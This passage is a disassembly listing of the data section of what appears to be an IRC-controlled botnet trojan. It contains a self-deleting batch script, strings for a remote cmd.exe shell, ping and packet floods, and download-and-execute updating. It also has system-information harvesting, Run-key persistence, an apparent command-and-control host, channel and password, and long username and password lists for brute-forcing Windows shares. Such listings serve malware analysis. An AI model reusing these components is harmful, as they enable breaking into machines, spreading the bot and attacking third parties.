		db 'n\Internet Settings]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxConnectionsPer1_0Server"=dword:00000050>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxConnectionsPerServer"=dword:00000050>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'START /WAIT REGEDIT /S %temp%\1.reg',0Dh,0Ah
		db 'DEL %temp%\1.reg',0Dh,0Ah
		db 'DEL %0',0Dh,0Ah,0
		align 4
unk_4239F8	db    2			; DATA XREF: sub_407E4E:loc_407F0Do
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aNotSupportedBy	db '  Not supported by this system.',0
		align 4
unk_423A3C	db    2			; DATA XREF: sub_407E4E:loc_407EDBo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUnableToAlloca	db '  Unable to allocation ARP cache.',0
		align 10h
unk_423A80	db    2			; DATA XREF: sub_407E4E:loc_407EA7o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aArpCacheIsEmpt	db '  ARP cache is empty.',0
		align 4
unk_423AB8	db    2			; DATA XREF: sub_407E4E+49o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorGettingAr	db '  Error getting ARP cache: <%d>.',0
		align 4
unk_423AFC	db    2			; DATA XREF: seg000:0040810Eo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 69h,	6Eh, 67h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFinishedSendin	db '  Finished sending pings to %s.',0
		align 4
unk_423B3C	db    2			; DATA XREF: seg000:00408040o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 69h,	6Eh, 67h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorSendingPi	db '  Error sending pings to %s.',0
		align 4
dword_423B78	dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh
					; DATA XREF: seg000:00408324o
		dd 2029206Ch, 2BBBB02h
aFinishedSend_0	db '  Finished sending packets to %s.',0
		align 4
dword_423BB8	dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh
					; DATA XREF: seg000:004081ECo
		dd 2029206Ch, 2BBBB02h
aErrorSending_1	db '  Error sending pings to %s.',0
		align 4
aPrivmsgSS	db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: seg000:0040840Fo
		dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
		dd 2029206Ch, 2BBBB02h,	6F432020h, 20646C75h, 20746F6Eh
		dd 64616572h, 74616420h, 72662061h, 70206D6Fh, 63636F72h
		dd 2E737365h, 0A0Dh, 28026502h,	62302E31h, 20282029h, 2E646D63h
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h, 72502020h, 6563636Fh
		dd 68207373h, 74207361h, 696D7265h, 6574616Eh, 0A0D2E64h
		dd 0
		dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
		dd 2029206Ch, 2BBBB02h
aCouldNotReadDa	db '  Could not read data from proccess',0Dh,0Ah,0
		align 4
dword_423CC8	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: seg000:0040874Co
		dd 2029206Ch, 2BBBB02h
aFailedToStartI	db '  Failed to start IO thread, error: <%d>.',0
		align 10h
dword_423D10	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: seg000:00408704o
		dd 2029206Ch, 2BBBB02h
aRemoteCommandP	db '  Remote Command Prompt',0
aCmd_exe	db 'cmd.exe',0          ; DATA XREF: seg000:004085D9o
aDdDhDm		db '%dd %dh %dm',0      ; DATA XREF: sub_40876D+52o
aSysinfoCpuI64u	db '[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB total, %sKB free. [Disk]:'
					; DATA XREF: sub_40888C+297o
		db ' %s total, %s free. [OS]: Windows %s (%d.%d, Build %d). [Sysdir]:'
		db ' %s. [Hostname]: %s (%s). [Current User]: %s. [Date]: %s. [Time]:'
		db ' %s. [Uptime]: %s.',0
		align 10h
aDdMmmYyyy	db 'dd:MMM:yyyy',0      ; DATA XREF: sub_40888C+192o
aCouldnTResolve	db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_40888C:loc_4089F0o
		align 4
word_423E54	dw 3Fh			; DATA XREF: sub_40888C:loc_40898Er
					; sub_4095D2+1Fo
		align 4
dword_423E58	dd 28207325h, 297325hdword_423E60	dd 3F3F3Fh						; seg000:loc_410A5Bo
a2003		db '2003',0             ; DATA XREF: sub_40888C+BAo
					; seg002:00424658o ...
		align 4
aXp		db 'XP',0               ; DATA XREF: sub_40888C+AAo
					; seg000:00410A46o ...
		align 10h
a2k		db '2K',0               ; DATA XREF: sub_40888C+98o
					; seg000:00410A36o
		align 4
aMe		db 'ME',0               ; DATA XREF: sub_40888C+7Eo
					; seg000:00410A1Do
		align 4
a98		db '98',0               ; DATA XREF: sub_40888C+6Co
					; seg000:00410A0Do
		align 4
aNt		db 'NT',0               ; DATA XREF: sub_40888C+5Ao
					; seg000:004109FDo
		align 10h
a95		db '95',0               ; DATA XREF: sub_40888C+46o
					; seg000:004109EFo
		align 4
aNetinfoTypeSS_	db '[NETINFO]: [Type]: %s (%s). [IP Address]: %s. [Hostname]: %s.',0
					; DATA XREF: sub_408B40+ABo
		align 4
off_423EC4	dd offset loc_412F4C+2	; DATA XREF: sub_408B40:loc_408BB4o
dword_423EC8	dd 4E414Ch	dword_423ECC	dd 6C616944h, 70752Dhdword_423ED4	dd 20746F4Eh, 6E6E6F63h, 65746365h, 64hdword_423EE4	dd 202E6425h, 3D207325h, 732520hdword_423EF0	dd 6C415B2Dh, 20736169h, 7473694Ch, 2D5Dha_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_408CFE+60o
		align 4
dword_423F24	dd 2C353103h, 6E653431h, 6230317Ah, 2E320320h, 3103202Eh
					; DATA XREF: sub_408D9E+1Ao
		dd 6F6C2835h, 32037367h, 3531032Eh, 29646F6Dh, 0BB320320h
		dd 20353103h, 656C4320h, 64657261h, 2Eh
dword_423F5C	dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh
					; DATA XREF: sub_408DDE+DCo
		dd 2029206Ch, 2BBBB02h,	694C2020h, 63207473h, 6C706D6Fh
		dd 2E657465h, 0
dword_423F8C	dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh
					; DATA XREF: sub_408DDE+3Fo
		dd 2029206Ch, 2BBBB02h,	65422020h, 6E6967h
dword_423FB0	dd 80000002h, 42444Ch, 80000002h, 42447Ch, 80000001h, 4244B4h
					; DATA XREF: sub_408F0D+7o
unk_423FC8	db    2			; DATA XREF: sub_408F0D+63o
					; sub_40902A+493o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aBadUrlOrDnsErr	db '  Bad URL, or DNS Error: %s.',0
		align 4
unk_424008	db    2			; DATA XREF: sub_40902A+485o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUpdateFailedEr	db '  Update failed: Error executing file: %s.',0
unk_424054	db    2			; DATA XREF: sub_40902A+3C9o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDownloaded_1fk	db '  Downloaded %.1fKB to %s @ %.1fKB/sec. Updating.',0
		align 4
dword_4240A8	dd 28026502h, 62302E31h, 20282029h, 6E776F64h, 64616F6Ch
					; DATA XREF: sub_40902A+358o
		dd 641F6D2Eh, 29206C1Fh, 0BBBB0220h, 4F202002h,	656E6570h
		dd 25203A64h, 2E73h
aOpen		db 'open',0             ; DATA XREF: sub_40902A+336o
					; seg000:0040C4BDo ...
		align 10h
unk_4240E0	db    2			; DATA XREF: sub_40902A+2E1o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDownloaded_1fK	db '  Downloaded %.1f KB to %s @ %.1f KB/sec.',0
		align 4
unk_42412C	db    2			; DATA XREF: sub_40902A+262o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCrcFailedDD_	db '  CRC Failed (%d != %d).',0
		align 4
unk_424168	db    2			; DATA XREF: sub_40902A+1D8o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFilesizeIsInco	db '  Filesize is incorrect: (%d != %d).',0
		align 10h
unk_4241B0	db    2			; DATA XREF: sub_40902A+195o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUpdateSDkbTran	db '  Update: %s (%dKB transferred).',0
		align 4
unk_4241F4	db    2			; DATA XREF: sub_40902A+183o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFileDownloadSD	db '  File download: %s (%dKB transferred).',0
		align 10h
unk_424240	db    2			; DATA XREF: sub_40902A+77o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCouldnTOpenFil	db '  Couldn',27h,'t open file: %s.',0
		align 4
aUnknown	db 'Unknown',0          ; DATA XREF: sub_4095D2:loc_409615o
					; sub_40FD41+104o
aInvalid	db 'Invalid',0          ; DATA XREF: sub_4095D2:loc_40960Fo
aDisk		db 'Disk',0             ; DATA XREF: sub_4095D2:loc_409609o
		align 4
aNetwork	db 'Network',0          ; DATA XREF: sub_4095D2:loc_409603o
aCdrom		db 'Cdrom',0            ; DATA XREF: sub_4095D2:loc_4095FDo
		align 4
aRam		db 'RAM',0              ; DATA XREF: sub_4095D2:loc_4095F7o
aFailed		db 'failed',0           ; DATA XREF: sub_409663:loc_40973Bo
					; sub_40977E+3Bo
		align 10h
aSkb		db '%sKB',0             ; DATA XREF: sub_409663+6Bo
		align 4
dword_4242B8	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40977E+8Eo
		dd 2029206Ch, 2BBBB02h
aSDriveSSTotalS	db '  %s Drive (%s): %s total, %s free, %s available.',0
		align 4
dword_424308	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40977E+58o
		dd 2029206Ch, 2BBBB02h
aSDriveSFailedT	db '  %s Drive (%s): Failed to stat, device not ready.',0
		align 4
aA_0		db 'A:\',0              ; DATA XREF: sub_409850:loc_409895o
dword_42435C	dd 0F51h						; seg000:00409E1Dr
dword_424360	dd 0F51h			dd 1AA6h
dword_424368	dd 0E90h						; seg000:0040E6AFr
dword_42436C	dd 15F1h						; seg000:loc_40E7A1r
dword_424370	dd 1		dword_424374	dd 1		dword_424378	dd 1		byte_42437C	db 78h			; DATA XREF: seg000:loc_409528r
					; seg000:0040A844r ...
		align 10h
dword_424380	dd 9							; sub_4107E2+51r ...
dword_424384	dd 1							; seg000:0040A40Cr ...
aIds443vbq	db 'ids443vbq',0        ; DATA XREF: seg000:00409A24o
					; seg000:0040D6C8o ...
		align 4
aEnz9_9bvbq34	db 'enz 9.9bvbq34',0    ; DATA XREF: seg000:loc_40F11Eo
		align 4
aHi		db 'hi',0               ; DATA XREF: seg000:0040F29Bo
					; seg000:0040F36Ao
		align 4
aNew_ifconfig_u	db 'new.ifconfig.us',0  ; DATA XREF: seg000:00409D55o
					; seg000:00409E0Eo
aCc		db '#cc',0              ; DATA XREF: seg000:00409D76o
					; seg000:00409E24o
aDcpass		db 'dcpass',0           ; DATA XREF: seg000:00409D8Do
					; seg000:00409E36o
		align 4
byte_4243C4	db 6Eh			; DATA XREF: seg000:loc_409E4Cr
					; seg000:00409E5Ao
		db 65h,	77h, 2Eh
		dd 6F636669h, 6769666Eh, 73752Eh
dword_4243D4	dd 636323h	aDcpass_0	db 'dcpass',0           ; DATA XREF: seg000:00409E82o
		align 10h
byte_4243E0	db 54h			; DATA XREF: sub_402136+81o
					; seg000:00403338o ...
		db 69h,	6Ch, 65h
		dd 2E716276h, 6D6F63h, 656C6954h, 2E716276h, 6C6C64h
dword_4243F8	dd 69706F54h, 69542063h, 6276656Ch, 71hdword_424408	dd 2D626271h, 0			dd 656C6954h, 2E716276h, 6D6F63h
dword_42441C	dd 692B782Bh, 0	dword_424424	dd 62627123h, 0						; seg000:0040E507o ...
		dd 2 dup(737323h), 35373931h, 38h, 6276h, 2E6276h
off_424444	dd offset a@room	; DATA XREF: seg000:loc_40F2E5o
					; "*@room"
off_424448	dd offset aMirc1_6_99	; DATA XREF: seg000:0040A9BDr
					; seg000:0040F301o
					; "mirc	1.6.99"
		db 53h
aOftwareMicroso	db 'oftware\Microsoft\Windows\CurrentVersion\Run',0
		align 4
		db 53h
aOftwareMicro_0	db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
		align 4
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_410DD4+28o
					; sub_4110F8+28o
		align 4
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_410DD4+D4o
					; sub_4110F8+D4o
		align 4
		dd offset aAdministrator ; "Administrator"
		dd offset aAdministrato_0 ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin	; "admin"
		dd offset aStaff	; "staff"
		dd offset aRoot		; "root"
		dd offset aComputer	; "computer"
		dd offset aOwner	; "owner"
		dd offset aStudent	; "student"
		dd offset aTeacher	; "teacher"
		dd offset aWwwadmin	; "wwwadmin"
		dd offset aGuest_0	; "guest"
		dd offset aDefault	; "default"
		dd offset aDatabase	; "database"
		dd offset aDba		; "dba"
		dd offset aOracle	; "oracle"
		dd offset aDb2		; "db2"
		dd offset aUser_0	; "USER"
		dd 0
off_42454C	dd offset byte_430AD0	; DATA XREF: sub_4038FB:loc_4039ADr
					; sub_4038FB+BFo
		dd offset aAdministrato_1 ; "ADMINISTRATOR"
		dd offset aAdministrator ; "Administrator"
		dd offset aAdministrato_0 ; "administrator"
		dd offset aFubar	; "fubar"
		dd offset aBla		; "bla"
		dd offset aGuest_1	; "GUEST"
		dd offset aRoot_0	; "ROOT"
		dd offset aRoot		; "root"
		dd offset aAdmin_0	; "ADMIN"
		dd offset aPassword_0	; "PASSWORD"
		dd offset aTemp		; "TEMP"
		dd offset aShare_0	; "SHARE"
		dd offset aWrite	; "WRITE"
		dd offset aFull_0	; "FULL"
		dd offset aLadeda	; "ladeda"
		dd offset aBoth		; "BOTH"
		dd offset aRead		; "READ"
		dd offset aFiles	; "FILES"
		dd offset aDemo		; "DEMO"
		dd offset aOwner_0	; "OWNER"
		dd offset aOwner_1	; "Owner"
		dd offset aEdu		; "edu"
		dd offset aTest		; "TEST"
		dd offset aAccess	; "ACCESS"
		dd offset aUser_0	; "USER"
		dd offset aBackup	; "BACKUP"
		dd offset aSystem_0	; "SYSTEM"
		dd offset aServer_1	; "SERVER"
		dd offset aPepsi	; "pepsi"
		dd offset aLocal	; "LOCAL"
		dd offset aUnix		; "unix"
		dd offset aLinux	; "linux"
		dd offset aChangeme	; "changeme"
		dd offset aChangeme_0	; "Changeme"
		dd offset aTemp123	; "temp123"
		dd offset a1		; "1"
		dd offset a12		; "12"
		dd offset a123		; "123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset a1234567	; "1234567"
		dd offset a12345678	; "12345678"
		dd offset a123456789	; "123456789"
		dd offset a654321	; "654321"
		dd offset a54321	; "54321"
		dd offset a111		; "111"
		dd offset a11111111	; "11111111"
		dd offset a88888888	; "88888888"
		dd offset aPass_0	; "pass"
		dd offset aPasswd	; "passwd"
		dd offset aDatabase	; "database"
		dd offset aAbcd		; "abcd"
		dd offset aAbc123	; "abc123"
		dd offset aOracle	; "oracle"
		dd offset aSybase	; "sybase"
		dd offset a123qwe	; "123qwe"
		dd offset aComputer	; "computer"
		dd offset aInternet	; "Internet"
		dd offset aSuper	; "super"
		dd offset a123asd	; "123asd"
		dd offset aIhavenopass	; "ihavenopass"
		dd offset aGodblessyou	; "godblessyou"
		dd offset aEnable	; "enable"
		dd offset aXp_0		; "xp"
		dd offset a2002		; "2002"
		dd offset a2003		; "2003"
		dd offset a2600		; "2600"
		dd offset a110		; "110"
		dd offset a111111	; "111111"
		dd offset a121212	; "121212"
		dd offset a123123	; "123123"
		dd offset a1234qwer	; "1234qwer"
		dd offset a123abc	; "123abc"
		dd offset a007		; "007"
		dd offset aAlpha	; "alpha"
		dd offset aPatrick	; "patrick"
		dd offset aPat		; "pat"
		dd offset aSex_0	; "sex"
		dd offset aGod		; "god"
		dd offset aFoobar	; "foobar"
		dd offset aNilez	; "Nilez"
		dd offset aDevil	; "devil"
		dd offset aNetdevil	; "netdevil"
		dd offset aNetDevil	; "net-devil"
		dd offset a0wned	; "0wned"
		dd offset aOwned	; "owned"
		dd offset aIrule	; "irule"
		dd offset aNetfuck	; "netfuck"
		dd offset aFucked	; "fucked"
		dd offset aCrash	; "crash"
		dd offset aA_1		; "a"
		dd offset aAaa		; "aaa"
		dd offset aAbc		; "abc"
		dd offset aTest123	; "test123"
		dd offset aWin		; "win"
		dd offset aPc		; "pc"
		dd offset aAsdf		; "asdf"
		dd offset aSecret	; "secret"
		dd offset aQwer		; "qwer"
		dd offset aYxcv		; "yxcv"
		dd offset aZxcv		; "zxcv"
		dd offset aHome		; "home"
		dd offset aLogin	; "login"
		dd offset aPwd		; "pwd"
		dd offset aLove		; "love"
		dd offset aMypc		; "mypc"
		dd offset aMypc123	; "mypc123"
		dd offset aAdmin123	; "admin123"
		dd offset aPw123	; "pw123"
		dd offset aMypass	; "mypass"
		dd offset aMypass123	; "mypass123"
		dd offset aPw		; "pw"
		dd offset aMat		; "Mat"
		dd offset aMatt		; "Matt"
		dd offset aMatthew	; "Matthew"
		dd offset aGobo		; "gobo"
		dd offset aSatan	; "satan"
		dd offset aSatanik	; "satanik"
		dd offset aSatanic	; "satanic"
		dd offset aSpaceman	; "spaceman"
		dd offset aHeaven	; "heaven"
		dd offset aW00t		; "w00t"
		dd offset a0wn3d	; "0wn3d"
		dd offset aKiller	; "killer"
		dd offset aLeet		; "leet"
		dd offset aL33t		; "l33t"
		dd offset aL337		; "l337"
		dd offset aHacker	; "hacker"
		dd offset aHax0r	; "hax0r"
		dd offset aScript	; "script"
		dd offset aScriptkiddie	; "scriptkiddie"
		dd offset aKiddie	; "kiddie"
		dd offset aMirc_0	; "mirc"
		dd offset aUwontguessme	; "uwontguessme"
		dd offset aYouwontguessme ; "youwontguessme"
		dd offset aGuessme	; "guessme"
		dd offset asc_42AE48	; "x"
		dd offset aXx		; "xx"
		dd offset aXxx		; "xxx"
		dd offset aXxxx		; "xxxx"
		dd offset aXxxxx	; "xxxxx"
		dd offset aXxxxxx	; "xxxxxx"
		dd offset aXxxxxxx	; "xxxxxxx"
		dd offset aXxxxxxxx	; "xxxxxxxx"
		dd offset aXxxxxxxxx	; "xxxxxxxxx"
		dd offset dword_420274
		dd offset a00		; "00"
		dd offset aDeath	; "death"
		dd offset aTesting	; "testing"
		dd offset a000		; "000"
		dd offset a0000		; "0000"
		dd offset a00000	; "00000"
		dd offset a000000	; "000000"
		dd offset aAcademia	; "academia"
		dd offset aAcademic	; "academic"
		dd offset aAccept	; "accept"
		dd offset aAccount	; "account"
		dd offset aAction	; "action"
		dd offset aAdam		; "adam"
		dd offset aAdrian	; "adrian"
		dd offset aAdrianna	; "adrianna"
		dd offset aAdult	; "adult"
		dd offset aAerobics	; "aerobics"
		dd offset aAids		; "aids"
		dd offset aAirplane	; "airplane"
		dd offset aAlaska	; "alaska"
		dd offset aAlbany	; "albany"
		dd offset aAlbatros	; "albatros"
		dd offset aAlbert	; "albert"
		dd offset aAlert	; "alert"
		dd offset aAlex		; "alex"
		dd offset aAlexande	; "alexande"
		dd offset aAlgebra	; "algebra"
		dd offset aAlias	; "alias"
		dd offset aAliases	; "aliases"
		dd offset aAlice	; "alice"
		dd offset aAlicia	; "alicia"
		dd offset aAlisa	; "alisa"
		dd offset aAlison	; "alison"
		dd offset aAllison	; "allison"
		dd offset aAllow	; "allow"
		dd offset aAlphabet	; "alphabet"
		dd offset aAmadeus	; "amadeus"
		dd offset aAmanda	; "amanda"
		dd offset aAmber	; "amber"
		dd offset aAmerica	; "america"
		dd offset aAmorphou	; "amorphou"
		dd offset aAnal		; "anal"
		dd offset aAnalog	; "analog"
		dd offset aAnarchis	; "anarchis"
		dd offset aAnarchy	; "anarchy"
		dd offset aAnchor	; "anchor"
		dd offset aAndrea	; "andrea"
		dd offset aAndroid	; "android"
		dd offset aAndromac	; "andromac"
		dd offset aAndy		; "andy"
		dd offset aAnfo		; "anfo"
		dd offset aAngela	; "angela"
		dd offset aAngerine	; "angerine"
		dd offset aAngie	; "angie"
		dd offset aAnimal	; "animal"
		dd offset aAnimals	; "animals"
		dd offset aAnita	; "anita"
		dd offset aAnna		; "anna"
		dd offset aAnne		; "anne"
		dd offset aAnnette	; "annette"
		dd offset aAnon		; "anon"
		dd offset aAnonymou	; "anonymou"
		dd offset aAnswer	; "answer"
		dd offset aAnthrax	; "anthrax"
		dd offset aAnthropo	; "anthropo"
		dd offset aAnvils	; "anvils"
		dd offset aAnything	; "anything"
		dd offset aApollo13	; "apollo13"
		dd offset aApril	; "april"
		dd offset aAria		; "aria"
		dd offset aAriadne	; "ariadne"
		dd offset aArlene	; "arlene"
		dd offset aArmy		; "army"
		dd offset aArrow	; "arrow"
		dd offset aArthur	; "arthur"
		dd offset aArtist	; "artist"
		dd offset aAsian	; "asian"
		dd offset aAsshole	; "asshole"
		dd offset aAthena	; "athena"
		dd offset aAtmosphe	; "atmosphe"
		dd offset aAtom		; "atom"
		dd offset aAttack	; "attack"
		dd offset aAuthoriz	; "authoriz"
		dd offset aAztecs	; "aztecs"
		dd offset aAzure	; "azure"
		dd offset aBabe		; "babe"
		dd offset aBaby		; "baby"
		dd offset aBacchus	; "bacchus"
		dd offset aBackdoor	; "backdoor"
		dd offset aBadass	; "badass"
		dd offset aBailey	; "bailey"
		dd offset aBall		; "ball"
		dd offset aBanana	; "banana"
		dd offset aBananas	; "bananas"
		dd offset aBandit	; "bandit"
		dd offset aBank		; "bank"
		dd offset aBanks	; "banks"
		dd offset aBarbara	; "barbara"
		dd offset aBarber	; "barber"
		dd offset aBare		; "bare"
		dd offset aBarf		; "barf"
		dd offset aBaritone	; "baritone"
		dd offset aBart		; "bart"
		dd offset aBartman	; "bartman"
		dd offset aBaseball	; "baseball"
		dd offset aBasic	; "basic"
		dd offset aBass		; "bass"
		dd offset aBassoon	; "bassoon"
		dd offset aBatch	; "batch"
		dd offset aBatman	; "batman"
		dd offset aBeach	; "beach"
		dd offset aBeammeup	; "beammeup"
		dd offset aBear		; "bear"
		dd offset aBeast	; "beast"
		dd offset aBeater	; "beater"
		dd offset aBeauty	; "beauty"
		dd offset aBeaver	; "beaver"
		dd offset aBecky	; "becky"
		dd offset aBeethove	; "beethove"
		dd offset aBegin	; "begin"
		dd offset aBehead	; "behead"
		dd offset aBell		; "bell"
		dd offset aBeloved	; "beloved"
		dd offset aBenz		; "benz"
		dd offset aBeowulf	; "beowulf"
		dd offset aBerkeley	; "berkeley"
		dd offset aBerlin	; "berlin"
		dd offset aBerliner	; "berliner"
		dd offset aBeryl	; "beryl"
		dd offset aBeta		; "beta"
		dd offset aBeth		; "beth"
		dd offset aBetsie	; "betsie"
		dd offset aBetty	; "betty"
		dd offset aBeverly	; "beverly"
		dd offset aBible	; "bible"
		dd offset aBicamera	; "bicamera"
		dd offset aBigfoot	; "bigfoot"
		dd offset aBill		; "bill"
		dd offset aBinary	; "binary"
		dd offset aBios		; "bios"
		dd offset aBird		; "bird"
		dd offset aBishop	; "bishop"
		dd offset aBitch	; "bitch"
		dd offset aBitmap	; "bitmap"
		dd offset aBitnet	; "bitnet"
		dd offset aBlack	; "black"
		dd offset aBlonde	; "blonde"
		dd offset aBlondie	; "blondie"
		dd offset aBlood	; "blood"
		dd offset aBloodaxe	; "bloodaxe"
		dd offset aBlow		; "blow"
		dd offset aBlowjob	; "blowjob"
		dd offset aBlue		; "blue"
		dd offset aBlues	; "blues"
		dd offset aBoard	; "board"
		dd offset aBomb		; "bomb"
		dd offset aBoner	; "boner"
		dd offset aBoob		; "boob"
		dd offset aBoobs	; "boobs"
		dd offset aBook		; "book"
		dd offset aBorn		; "born"
		dd offset aBoyscout	; "boyscout"
		dd offset aBradley	; "bradley"
		dd offset aBrandi	; "brandi"
		dd offset aBrandy	; "brandy"
		dd offset aBravo	; "bravo"
		dd offset aBreak	; "break"
		dd offset aBreast	; "breast"
		dd offset aBrenda	; "brenda"
		dd offset aBrian	; "brian"
		dd offset aBridget	; "bridget"
		dd offset aBroadway	; "broadway"
		dd offset aBrothel	; "brothel"
		dd offset aBrunette	; "brunette"
		dd offset aBrute	; "brute"
		dd offset aBrutefor	; "brutefor"
		dd offset aBulls	; "bulls"
		dd offset aBullshit	; "bullshit"
		dd offset aBumbling	; "bumbling"
		dd offset aBung		; "bung"
		dd offset aBurgess	; "burgess"
		dd offset aBurn		; "burn"
		dd offset aButch	; "butch"
		dd offset aButt		; "butt"
